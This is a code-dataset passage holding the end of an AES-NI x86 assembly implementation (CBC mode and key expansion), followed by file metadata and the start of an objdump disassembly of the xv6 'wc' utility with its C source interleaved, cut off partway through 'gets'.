102,15,56,223,209 xorps xmm2,xmm6 movups [edi],xmm2 L$065xts_dec_ret: mov esp,DWORD [116+esp] pop edi pop esi pop ebx pop ebp ret global _aesni_cbc_encrypt align 16 _aesni_cbc_encrypt: L$_aesni_cbc_encrypt_begin: push ebp push ebx push esi push edi mov esi,DWORD [20+esp] mov ebx,esp mov edi,DWORD [24+esp] sub ebx,24 mov eax,DWORD [28+esp] and ebx,-16 mov edx,DWORD [32+esp] mov ebp,DWORD [36+esp] test eax,eax jz NEAR L$070cbc_abort cmp DWORD [40+esp],0 xchg ebx,esp movups xmm7,[ebp] mov ecx,DWORD [240+edx] mov ebp,edx mov DWORD [16+esp],ebx mov ebx,ecx je NEAR L$071cbc_decrypt movaps xmm2,xmm7 cmp eax,16 jb NEAR L$072cbc_enc_tail sub eax,16 jmp NEAR L$073cbc_enc_loop align 16 L$073cbc_enc_loop: movups xmm7,[esi] lea esi,[16+esi] movups xmm0,[edx] movups xmm1,[16+edx] xorps xmm7,xmm0 lea edx,[32+edx] xorps xmm2,xmm7 L$074enc1_loop_15: db 102,15,56,220,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$074enc1_loop_15 db 102,15,56,221,209 mov ecx,ebx mov edx,ebp movups [edi],xmm2 lea edi,[16+edi] sub eax,16 jnc NEAR L$073cbc_enc_loop add eax,16 jnz NEAR L$072cbc_enc_tail movaps xmm7,xmm2 jmp NEAR L$075cbc_ret L$072cbc_enc_tail: mov ecx,eax dd 2767451785 mov ecx,16 sub ecx,eax xor eax,eax dd 2868115081 lea edi,[edi-16] mov ecx,ebx mov esi,edi mov edx,ebp jmp NEAR L$073cbc_enc_loop align 16 L$071cbc_decrypt: cmp eax,80 jbe NEAR L$076cbc_dec_tail movaps [esp],xmm7 sub eax,80 jmp NEAR L$077cbc_dec_loop6_enter align 16 L$078cbc_dec_loop6: movaps [esp],xmm0 movups [edi],xmm7 lea edi,[16+edi] L$077cbc_dec_loop6_enter: movdqu xmm2,[esi] movdqu xmm3,[16+esi] movdqu xmm4,[32+esi] movdqu xmm5,[48+esi] movdqu xmm6,[64+esi] movdqu xmm7,[80+esi] call __aesni_decrypt6 movups xmm1,[esi] movups xmm0,[16+esi] xorps xmm2,[esp] xorps xmm3,xmm1 movups xmm1,[32+esi] xorps xmm4,xmm0 movups xmm0,[48+esi] xorps xmm5,xmm1 movups xmm1,[64+esi] xorps xmm6,xmm0 movups xmm0,[80+esi] xorps xmm7,xmm1 movups [edi],xmm2 movups [16+edi],xmm3 lea esi,[96+esi] movups [32+edi],xmm4 mov ecx,ebx movups [48+edi],xmm5 mov edx,ebp movups [64+edi],xmm6 lea edi,[80+edi] sub eax,96 ja NEAR L$078cbc_dec_loop6 movaps xmm2,xmm7 movaps xmm7,xmm0 add eax,80 jle NEAR L$079cbc_dec_tail_collected movups [edi],xmm2 lea edi,[16+edi] L$076cbc_dec_tail: movups xmm2,[esi] movaps xmm6,xmm2 cmp eax,16 jbe NEAR L$080cbc_dec_one movups xmm3,[16+esi] movaps xmm5,xmm3 cmp eax,32 jbe NEAR L$081cbc_dec_two movups xmm4,[32+esi] cmp eax,48 jbe NEAR L$082cbc_dec_three movups xmm5,[48+esi] cmp eax,64 jbe NEAR L$083cbc_dec_four movups xmm6,[64+esi] movaps [esp],xmm7 movups xmm2,[esi] xorps xmm7,xmm7 call __aesni_decrypt6 movups xmm1,[esi] movups xmm0,[16+esi] xorps xmm2,[esp] xorps xmm3,xmm1 movups xmm1,[32+esi] xorps xmm4,xmm0 movups xmm0,[48+esi] xorps xmm5,xmm1 movups xmm7,[64+esi] xorps xmm6,xmm0 movups [edi],xmm2 movups [16+edi],xmm3 movups [32+edi],xmm4 movups [48+edi],xmm5 lea edi,[64+edi] movaps xmm2,xmm6 sub eax,80 jmp NEAR L$079cbc_dec_tail_collected align 16 L$080cbc_dec_one: movups xmm0,[edx] movups xmm1,[16+edx] lea edx,[32+edx] xorps xmm2,xmm0 L$084dec1_loop_16: db 102,15,56,222,209 dec ecx movups xmm1,[edx] lea edx,[16+edx] jnz NEAR L$084dec1_loop_16 db 102,15,56,223,209 xorps xmm2,xmm7 movaps xmm7,xmm6 sub eax,16 jmp NEAR L$079cbc_dec_tail_collected align 16 L$081cbc_dec_two: xorps xmm4,xmm4 call __aesni_decrypt3 xorps xmm2,xmm7 xorps xmm3,xmm6 movups [edi],xmm2 movaps xmm2,xmm3 lea edi,[16+edi] movaps xmm7,xmm5 sub eax,32 jmp NEAR L$079cbc_dec_tail_collected align 16 L$082cbc_dec_three: call __aesni_decrypt3 xorps xmm2,xmm7 xorps xmm3,xmm6 xorps xmm4,xmm5 movups [edi],xmm2 movaps xmm2,xmm4 movups [16+edi],xmm3 lea edi,[32+edi] movups xmm7,[32+esi] sub eax,48 jmp NEAR L$079cbc_dec_tail_collected align 16 L$083cbc_dec_four: call __aesni_decrypt4 movups xmm1,[16+esi] movups xmm0,[32+esi] xorps xmm2,xmm7 movups xmm7,[48+esi] xorps xmm3,xmm6 movups [edi],xmm2 xorps xmm4,xmm1 movups [16+edi],xmm3 xorps xmm5,xmm0 movups [32+edi],xmm4 lea edi,[48+edi] movaps xmm2,xmm5 sub eax,64 L$079cbc_dec_tail_collected: and eax,15 jnz NEAR L$085cbc_dec_tail_partial movups [edi],xmm2 jmp NEAR L$075cbc_ret align 16 L$085cbc_dec_tail_partial: movaps [esp],xmm2 mov ecx,16 mov esi,esp sub ecx,eax dd 2767451785 L$075cbc_ret: mov esp,DWORD [16+esp] mov ebp,DWORD [36+esp] movups [ebp],xmm7 L$070cbc_abort: pop edi pop esi pop ebx pop ebp ret align 16 __aesni_set_encrypt_key: test eax,eax jz NEAR L$086bad_pointer test edx,edx jz NEAR L$086bad_pointer movups xmm0,[eax] xorps xmm4,xmm4 lea edx,[16+edx] cmp ecx,256 je NEAR L$08714rounds cmp ecx,192 je NEAR L$08812rounds cmp ecx,128 jne NEAR L$089bad_keybits align 16 L$09010rounds: mov ecx,9 movups [edx-16],xmm0 db 102,15,58,223,200,1 call L$091key_128_cold db 102,15,58,223,200,2 call L$092key_128 db 102,15,58,223,200,4 call L$092key_128 db 102,15,58,223,200,8 call L$092key_128 db 102,15,58,223,200,16 call L$092key_128 db 102,15,58,223,200,32 call L$092key_128 db 102,15,58,223,200,64 call L$092key_128 db 102,15,58,223,200,128 call L$092key_128 db 102,15,58,223,200,27 call L$092key_128 db 102,15,58,223,200,54 call L$092key_128 movups [edx],xmm0 mov DWORD [80+edx],ecx xor eax,eax ret align 16 L$092key_128: movups [edx],xmm0 lea edx,[16+edx] L$091key_128_cold: shufps xmm4,xmm0,16 xorps xmm0,xmm4 shufps xmm4,xmm0,140 xorps xmm0,xmm4 shufps xmm1,xmm1,255 xorps xmm0,xmm1 ret align 16 L$08812rounds: movq xmm2,[16+eax] mov ecx,11 movups [edx-16],xmm0 db 102,15,58,223,202,1 call L$093key_192a_cold db 102,15,58,223,202,2 call L$094key_192b db 102,15,58,223,202,4 call L$095key_192a db 102,15,58,223,202,8 call L$094key_192b db 102,15,58,223,202,16 call L$095key_192a db 102,15,58,223,202,32 call L$094key_192b db 102,15,58,223,202,64 call L$095key_192a db 102,15,58,223,202,128 call L$094key_192b movups [edx],xmm0 mov DWORD [48+edx],ecx xor eax,eax ret align 16 L$095key_192a: movups [edx],xmm0 lea edx,[16+edx] align 16 L$093key_192a_cold: movaps xmm5,xmm2 L$096key_192b_warm: shufps xmm4,xmm0,16 movdqa xmm3,xmm2 xorps xmm0,xmm4 shufps xmm4,xmm0,140 pslldq xmm3,4 xorps xmm0,xmm4 pshufd xmm1,xmm1,85 pxor xmm2,xmm3 pxor xmm0,xmm1 pshufd xmm3,xmm0,255 pxor xmm2,xmm3 ret align 16 L$094key_192b: movaps xmm3,xmm0 shufps xmm5,xmm0,68 movups [edx],xmm5 shufps xmm3,xmm2,78 movups [16+edx],xmm3 lea edx,[32+edx] jmp NEAR L$096key_192b_warm align 16 L$08714rounds: movups xmm2,[16+eax] mov ecx,13 lea edx,[16+edx] movups [edx-32],xmm0 movups [edx-16],xmm2 db 102,15,58,223,202,1 call L$097key_256a_cold db 102,15,58,223,200,1 call L$098key_256b db 102,15,58,223,202,2 call L$099key_256a db 102,15,58,223,200,2 call L$098key_256b db 102,15,58,223,202,4 call L$099key_256a db 102,15,58,223,200,4 call L$098key_256b db 102,15,58,223,202,8 call L$099key_256a db 102,15,58,223,200,8 call L$098key_256b db 102,15,58,223,202,16 call L$099key_256a db 102,15,58,223,200,16 call L$098key_256b db 102,15,58,223,202,32 call L$099key_256a db 102,15,58,223,200,32 call L$098key_256b db 102,15,58,223,202,64 call L$099key_256a movups [edx],xmm0 mov DWORD [16+edx],ecx xor eax,eax ret align 16 L$099key_256a: movups [edx],xmm2 lea edx,[16+edx] L$097key_256a_cold: shufps xmm4,xmm0,16 xorps xmm0,xmm4 shufps xmm4,xmm0,140 xorps xmm0,xmm4 shufps xmm1,xmm1,255 xorps xmm0,xmm1 ret align 16 L$098key_256b: movups [edx],xmm0 lea edx,[16+edx] shufps xmm4,xmm2,16 xorps xmm2,xmm4 shufps xmm4,xmm2,140 xorps xmm2,xmm4 shufps xmm1,xmm1,170 xorps xmm2,xmm1 ret align 4 L$086bad_pointer: mov eax,-1 ret align 4 L$089bad_keybits: mov eax,-2 ret global _aesni_set_encrypt_key align 16 _aesni_set_encrypt_key: L$_aesni_set_encrypt_key_begin: mov eax,DWORD [4+esp] mov ecx,DWORD [8+esp] mov edx,DWORD [12+esp] call __aesni_set_encrypt_key ret global _aesni_set_decrypt_key align 16 _aesni_set_decrypt_key: L$_aesni_set_decrypt_key_begin: mov eax,DWORD [4+esp] mov ecx,DWORD [8+esp] mov edx,DWORD [12+esp] call __aesni_set_encrypt_key mov edx,DWORD [12+esp] shl ecx,4 test eax,eax jnz NEAR L$100dec_key_ret lea eax,[16+ecx*1+edx] movups xmm0,[edx] movups xmm1,[eax] movups [eax],xmm0 movups [edx],xmm1 lea edx,[16+edx] lea eax,[eax-16] L$101dec_key_inverse: movups xmm0,[edx] movups xmm1,[eax] db 102,15,56,219,192 db 102,15,56,219,201 lea edx,[16+edx] lea eax,[eax-16] movups [16+eax],xmm0 movups [edx-16],xmm1 cmp eax,edx ja NEAR L$101dec_key_inverse movups xmm0,[edx] db 102,15,56,219,192 movups [edx],xmm0 xor eax,eax L$100dec_key_ret: ret db 65,69,83,32,102,111,114,32,73,110,116,101,108,32,65,69 db 83,45,78,73,44,32,67,82,89,80,84,79,71,65,77,83 db 32,98,121,32,60,97,112,112,114,111,64,111,112,101,110,115 db 115,108,46,111,114,103,62,0
18.989603
60
0.727863
09da5920d52a42939e0ebbf2e67a9ab046fe6b76
50,117
asm
Assembly
wc.asm
ShwetiMahajan/xv6_schedulersOS
35efdf3d33562ec290331a7ee246e65af19e7e2e
[ "MIT-0" ]
null
null
null
wc.asm
ShwetiMahajan/xv6_schedulersOS
35efdf3d33562ec290331a7ee246e65af19e7e2e
[ "MIT-0" ]
null
null
null
wc.asm
ShwetiMahajan/xv6_schedulersOS
35efdf3d33562ec290331a7ee246e65af19e7e2e
[ "MIT-0" ]
null
null
null
_wc: file format elf32-i386 Disassembly of section .text: 00000000 <wc>: char buf[512]; void wc(int fd, char *name) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 57 push %edi 4: 31 ff xor %edi,%edi 6: 56 push %esi 7: 31 f6 xor %esi,%esi 9: 53 push %ebx a: 83 ec 3c sub $0x3c,%esp d: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) 14: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) 1b: 90 nop 1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int i, n; int l, w, c, inword; l = w = c = 0; inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ 20: 8b 45 08 mov 0x8(%ebp),%eax 23: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 2a: 00 2b: c7 44 24 04 e0 08 00 movl $0x8e0,0x4(%esp) 32: 00 33: 89 04 24 mov %eax,(%esp) 36: e8 a5 03 00 00 call 3e0 <read> 3b: 83 f8 00 cmp $0x0,%eax 3e: 89 45 e4 mov %eax,-0x1c(%ebp) 41: 7e 4f jle 92 <wc+0x92> 43: 31 db xor %ebx,%ebx 45: eb 0b jmp 52 <wc+0x52> 47: 90 nop for(i=0; i<n; i++){ c++; if(buf[i] == '\n') l++; if(strchr(" \r\t\n\v", buf[i])) 48: 31 ff xor %edi,%edi int l, w, c, inword; l = w = c = 0; inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ 4a: 83 c3 01 add $0x1,%ebx 4d: 39 5d e4 cmp %ebx,-0x1c(%ebp) 50: 7e 38 jle 8a <wc+0x8a> c++; if(buf[i] == '\n') 52: 0f be 83 e0 08 00 00 movsbl 0x8e0(%ebx),%eax l++; 59: 31 d2 xor %edx,%edx if(strchr(" \r\t\n\v", buf[i])) 5b: c7 04 24 66 08 00 00 movl $0x866,(%esp) inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ c++; if(buf[i] == '\n') l++; 62: 3c 0a cmp $0xa,%al 64: 0f 94 c2 sete %dl 67: 01 d6 add %edx,%esi if(strchr(" \r\t\n\v", buf[i])) 69: 89 44 24 04 mov %eax,0x4(%esp) 6d: e8 ee 01 00 00 call 260 <strchr> 72: 85 c0 test %eax,%eax 74: 75 d2 jne 48 <wc+0x48> inword = 0; else if(!inword){ 76: 85 ff test %edi,%edi 78: 75 d0 jne 4a <wc+0x4a> w++; 7a: 83 45 e0 01 addl $0x1,-0x20(%ebp) int l, w, c, inword; l = w = c = 0; inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ 7e: 83 c3 01 add $0x1,%ebx 81: 39 5d e4 cmp %ebx,-0x1c(%ebp) if(buf[i] == '\n') l++; if(strchr(" \r\t\n\v", buf[i])) inword = 0; else if(!inword){ w++; 84: 66 bf 01 00 mov $0x1,%di int l, w, c, inword; l = w = c = 0; inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ 88: 7f c8 jg 52 <wc+0x52> 8a: 8b 45 e4 mov -0x1c(%ebp),%eax 8d: 01 45 dc add %eax,-0x24(%ebp) 90: eb 8e jmp 20 <wc+0x20> w++; inword = 1; } } } if(n < 0){ 92: 75 35 jne c9 <wc+0xc9> printf(1, "wc: read error\n"); exit(); } printf(1, "%d %d %d %s\n", l, w, c, name); 94: 8b 45 0c mov 0xc(%ebp),%eax 97: 89 74 24 08 mov %esi,0x8(%esp) 9b: c7 44 24 04 7c 08 00 movl $0x87c,0x4(%esp) a2: 00 a3: c7 04 24 01 00 00 00 movl $0x1,(%esp) aa: 89 44 24 14 mov %eax,0x14(%esp) ae: 8b 45 dc mov -0x24(%ebp),%eax b1: 89 44 24 10 mov %eax,0x10(%esp) b5: 8b 45 e0 mov -0x20(%ebp),%eax b8: 89 44 24 0c mov %eax,0xc(%esp) bc: e8 3f 04 00 00 call 500 <printf> } c1: 83 c4 3c add $0x3c,%esp c4: 5b pop %ebx c5: 5e pop %esi c6: 5f pop %edi c7: 5d pop %ebp c8: c3 ret inword = 1; } } } if(n < 0){ printf(1, "wc: read error\n"); c9: c7 44 24 04 6c 08 00 movl $0x86c,0x4(%esp) d0: 00 d1: c7 04 24 01 00 00 00 movl $0x1,(%esp) d8: e8 23 04 00 00 call 500 <printf> exit(); dd: e8 e6 02 00 00 call 3c8 <exit> e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000000f0 <main>: printf(1, "%d %d %d %s\n", l, w, c, name); } int main(int argc, char *argv[]) { f0: 55 push %ebp f1: 89 e5 mov %esp,%ebp f3: 83 e4 f0 and $0xfffffff0,%esp f6: 57 push %edi f7: 56 push %esi f8: 53 push %ebx f9: 83 ec 24 sub $0x24,%esp fc: 8b 7d 08 mov 0x8(%ebp),%edi int fd, i; if(argc <= 1){ ff: 83 ff 01 cmp $0x1,%edi 102: 7e 74 jle 178 <main+0x88> wc(0, ""); exit(); 104: 8b 5d 0c mov 0xc(%ebp),%ebx 107: be 01 00 00 00 mov $0x1,%esi 10c: 83 c3 04 add $0x4,%ebx 10f: 90 nop } for(i = 1; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ 110: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 117: 00 118: 8b 03 mov (%ebx),%eax 11a: 89 04 24 mov %eax,(%esp) 11d: e8 e6 02 00 00 call 408 <open> 122: 85 c0 test %eax,%eax 124: 78 32 js 158 <main+0x68> printf(1, "wc: cannot open %s\n", argv[i]); exit(); } wc(fd, argv[i]); 126: 8b 13 mov (%ebx),%edx if(argc <= 1){ wc(0, ""); exit(); } for(i = 1; i < argc; i++){ 128: 83 c6 01 add $0x1,%esi 12b: 83 c3 04 add $0x4,%ebx if((fd = open(argv[i], 0)) < 0){ printf(1, "wc: cannot open %s\n", argv[i]); exit(); } wc(fd, argv[i]); 12e: 89 04 24 mov %eax,(%esp) 131: 89 44 24 1c mov %eax,0x1c(%esp) 135: 89 54 24 04 mov %edx,0x4(%esp) 139: e8 c2 fe ff ff call 0 <wc> close(fd); 13e: 8b 44 24 1c mov 0x1c(%esp),%eax 142: 89 04 24 mov %eax,(%esp) 145: e8 a6 02 00 00 call 3f0 <close> if(argc <= 1){ wc(0, ""); exit(); } for(i = 1; i < argc; i++){ 14a: 39 f7 cmp %esi,%edi 14c: 7f c2 jg 110 <main+0x20> exit(); } wc(fd, argv[i]); close(fd); } exit(); 14e: e8 75 02 00 00 call 3c8 <exit> 153: 90 nop 154: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi exit(); } for(i = 1; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ printf(1, "wc: cannot open %s\n", argv[i]); 158: 8b 03 mov (%ebx),%eax 15a: c7 44 24 04 89 08 00 movl $0x889,0x4(%esp) 161: 00 162: c7 04 24 01 00 00 00 movl $0x1,(%esp) 169: 89 44 24 08 mov %eax,0x8(%esp) 16d: e8 8e 03 00 00 call 500 <printf> exit(); 172: e8 51 02 00 00 call 3c8 <exit> 177: 90 nop main(int argc, char *argv[]) { int fd, i; if(argc <= 1){ wc(0, ""); 178: c7 44 24 04 7b 08 00 movl $0x87b,0x4(%esp) 17f: 00 180: c7 04 24 00 00 00 00 movl $0x0,(%esp) 187: e8 74 fe ff ff call 0 <wc> exit(); 18c: e8 37 02 00 00 call 3c8 <exit> 191: 90 nop 192: 90 nop 193: 90 nop 194: 90 nop 195: 90 nop 196: 90 nop 197: 90 nop 198: 90 nop 199: 90 nop 19a: 90 nop 19b: 90 nop 19c: 90 nop 19d: 90 nop 19e: 90 nop 19f: 90 nop 000001a0 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1a0: 55 push %ebp 1a1: 31 d2 xor %edx,%edx 1a3: 89 e5 mov %esp,%ebp 1a5: 8b 45 08 mov 0x8(%ebp),%eax 1a8: 53 push %ebx 1a9: 8b 5d 0c mov 0xc(%ebp),%ebx 1ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi char *os; os = s; while((*s++ = *t++) != 0) 1b0: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 1b4: 88 0c 10 mov %cl,(%eax,%edx,1) 1b7: 83 c2 01 add $0x1,%edx 1ba: 84 c9 test %cl,%cl 1bc: 75 f2 jne 1b0 <strcpy+0x10> ; return os; } 1be: 5b pop %ebx 1bf: 5d pop %ebp 1c0: c3 ret 1c1: eb 0d jmp 1d0 <strcmp> 1c3: 90 nop 1c4: 90 nop 1c5: 90 nop 1c6: 90 nop 1c7: 90 nop 1c8: 90 nop 1c9: 90 nop 1ca: 90 nop 1cb: 90 nop 1cc: 90 nop 1cd: 90 nop 1ce: 90 nop 1cf: 90 nop 000001d0 <strcmp>: int strcmp(const char *p, const char *q) { 1d0: 55 push %ebp 1d1: 89 e5 mov %esp,%ebp 1d3: 8b 4d 08 mov 0x8(%ebp),%ecx 1d6: 53 push %ebx 1d7: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) 1da: 0f b6 01 movzbl (%ecx),%eax 1dd: 84 c0 test %al,%al 1df: 75 14 jne 1f5 <strcmp+0x25> 1e1: eb 25 jmp 208 <strcmp+0x38> 1e3: 90 nop 1e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p++, q++; 1e8: 83 c1 01 add $0x1,%ecx 1eb: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1ee: 0f b6 01 movzbl (%ecx),%eax 1f1: 84 c0 test %al,%al 1f3: 74 13 je 208 <strcmp+0x38> 1f5: 0f b6 1a movzbl (%edx),%ebx 1f8: 38 d8 cmp %bl,%al 1fa: 74 ec je 1e8 <strcmp+0x18> 1fc: 0f b6 db movzbl %bl,%ebx 1ff: 0f b6 c0 movzbl %al,%eax 202: 29 d8 sub %ebx,%eax p++, q++; return (uchar)*p - (uchar)*q; } 204: 5b pop %ebx 205: 5d pop %ebp 206: c3 ret 207: 90 nop } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 208: 0f b6 1a movzbl (%edx),%ebx 20b: 31 c0 xor %eax,%eax 20d: 0f b6 db movzbl %bl,%ebx 210: 29 d8 sub %ebx,%eax p++, q++; return (uchar)*p - (uchar)*q; } 212: 5b pop %ebx 213: 5d pop %ebp 214: c3 ret 215: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000220 <strlen>: uint strlen(char *s) { 220: 55 push %ebp int n; for(n = 0; s[n]; n++) 221: 31 d2 xor %edx,%edx return (uchar)*p - (uchar)*q; } uint strlen(char *s) { 223: 89 e5 mov %esp,%ebp int n; for(n = 0; s[n]; n++) 225: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; } uint strlen(char *s) { 227: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 22a: 80 39 00 cmpb $0x0,(%ecx) 22d: 74 0c je 23b <strlen+0x1b> 22f: 90 nop 230: 83 c2 01 add $0x1,%edx 233: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 237: 89 d0 mov %edx,%eax 239: 75 f5 jne 230 <strlen+0x10> ; return n; } 23b: 5d pop %ebp 23c: c3 ret 23d: 8d 76 00 lea 0x0(%esi),%esi 00000240 <memset>: void* memset(void *dst, int c, uint n) { 240: 55 push %ebp 241: 89 e5 mov %esp,%ebp 243: 8b 55 08 mov 0x8(%ebp),%edx 246: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 247: 8b 4d 10 mov 0x10(%ebp),%ecx 24a: 8b 45 0c mov 0xc(%ebp),%eax 24d: 89 d7 mov %edx,%edi 24f: fc cld 250: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 252: 89 d0 mov %edx,%eax 254: 5f pop %edi 255: 5d pop %ebp 256: c3 ret 257: 89 f6 mov %esi,%esi 259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000260 <strchr>: char* strchr(const char *s, char c) { 260: 55 push %ebp 261: 89 e5 mov %esp,%ebp 263: 8b 45 08 mov 0x8(%ebp),%eax 266: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 26a: 0f b6 10 movzbl (%eax),%edx 26d: 84 d2 test %dl,%dl 26f: 75 11 jne 282 <strchr+0x22> 271: eb 15 jmp 288 <strchr+0x28> 273: 90 nop 274: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 278: 83 c0 01 add $0x1,%eax 27b: 0f b6 10 movzbl (%eax),%edx 27e: 84 d2 test %dl,%dl 280: 74 06 je 288 <strchr+0x28> if(*s == c) 282: 38 ca cmp %cl,%dl 284: 75 f2 jne 278 <strchr+0x18> return (char*)s; return 0; } 286: 5d pop %ebp 287: c3 ret } char* strchr(const char *s, char c) { for(; *s; s++) 288: 31 c0 xor %eax,%eax if(*s == c) return (char*)s; return 0; } 28a: 5d pop %ebp 28b: 90 nop 28c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 290: c3 ret 291: eb 0d jmp 2a0 <atoi> 293: 90 nop 294: 90 nop 295: 90 nop 296: 90 nop 297: 90 nop 298: 90 nop 299: 90 nop 29a: 90 nop 29b: 90 nop 29c: 90 nop 29d: 90 nop 29e: 90 nop 29f: 90 nop 000002a0 <atoi>: return r; } int atoi(const char *s) { 2a0: 55 push %ebp int n; n = 0; while('0' <= *s && *s <= '9') 2a1: 31 c0 xor %eax,%eax return r; } int atoi(const char *s) { 2a3: 89 e5 mov %esp,%ebp 2a5: 8b 4d 08 mov 0x8(%ebp),%ecx 2a8: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 2a9: 0f b6 11 movzbl (%ecx),%edx 2ac: 8d 5a d0 lea -0x30(%edx),%ebx 2af: 80 fb 09 cmp $0x9,%bl 2b2: 77 1c ja 2d0 <atoi+0x30> 2b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi n = n*10 + *s++ - '0'; 2b8: 0f be d2 movsbl %dl,%edx 2bb: 83 c1 01 add $0x1,%ecx 2be: 8d 04 80 lea (%eax,%eax,4),%eax 2c1: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 2c5: 0f b6 11 movzbl (%ecx),%edx 2c8: 8d 5a d0 lea -0x30(%edx),%ebx 2cb: 80 fb 09 cmp $0x9,%bl 2ce: 76 e8 jbe 2b8 <atoi+0x18> n = n*10 + *s++ - '0'; return n; } 2d0: 5b pop %ebx 2d1: 5d pop %ebp 2d2: c3 ret 2d3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 2d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002e0 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 2e0: 55 push %ebp 2e1: 89 e5 mov %esp,%ebp 2e3: 56 push %esi 2e4: 8b 45 08 mov 0x8(%ebp),%eax 2e7: 53 push %ebx 2e8: 8b 5d 10 mov 0x10(%ebp),%ebx 2eb: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 2ee: 85 db test %ebx,%ebx 2f0: 7e 14 jle 306 <memmove+0x26> n = n*10 + *s++ - '0'; return n; } void* memmove(void *vdst, void *vsrc, int n) 2f2: 31 d2 xor %edx,%edx 2f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) *dst++ = *src++; 2f8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 2fc: 88 0c 10 mov %cl,(%eax,%edx,1) 2ff: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 302: 39 da cmp %ebx,%edx 304: 75 f2 jne 2f8 <memmove+0x18> *dst++ = *src++; return vdst; } 306: 5b pop %ebx 307: 5e pop %esi 308: 5d pop %ebp 309: c3 ret 30a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000310 <stat>: return buf; } int stat(char *n, struct stat *st) { 310: 55 push %ebp 311: 89 e5 mov %esp,%ebp 313: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 316: 8b 45 08 mov 0x8(%ebp),%eax return buf; } int stat(char *n, struct stat *st) { 319: 89 5d f8 mov %ebx,-0x8(%ebp) 31c: 89 75 fc mov %esi,-0x4(%ebp) int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) 31f: be ff ff ff ff mov $0xffffffff,%esi stat(char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 324: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 32b: 00 32c: 89 04 24 mov %eax,(%esp) 32f: e8 d4 00 00 00 call 408 <open> if(fd < 0) 334: 85 c0 test %eax,%eax stat(char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 336: 89 c3 mov %eax,%ebx if(fd < 0) 338: 78 19 js 353 <stat+0x43> return -1; r = fstat(fd, st); 33a: 8b 45 0c mov 0xc(%ebp),%eax 33d: 89 1c 24 mov %ebx,(%esp) 340: 89 44 24 04 mov %eax,0x4(%esp) 344: e8 d7 00 00 00 call 420 <fstat> close(fd); 349: 89 1c 24 mov %ebx,(%esp) int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; r = fstat(fd, st); 34c: 89 c6 mov %eax,%esi close(fd); 34e: e8 9d 00 00 00 call 3f0 <close> return r; } 353: 89 f0 mov %esi,%eax 355: 8b 5d f8 mov -0x8(%ebp),%ebx 358: 8b 75 fc mov -0x4(%ebp),%esi 35b: 89 ec mov %ebp,%esp 35d: 5d pop %ebp 35e: c3 ret 35f: 90 nop 00000360 <gets>: return 0; } char* gets(char *buf, int max) { 360: 55 push %ebp 361: 89 e5 mov %esp,%ebp 363: 57 push %edi 364: 56 push %esi 365: 31 f6 xor %esi,%esi 367: 53 push %ebx 368: 83 ec 2c sub $0x2c,%esp 36b: 8b 7d 08 mov 0x8(%ebp),%edi int i, cc; char c; for(i=0; i+1 < max; ){ 36e: eb 06 jmp 376 <gets+0x16> cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; if(c == '\n' || c == '\r') 370: 3c 0a cmp $0xa,%al 372: 74 39 je 3ad <gets+0x4d> 374: 89 de mov %ebx,%esi gets(char *buf, int 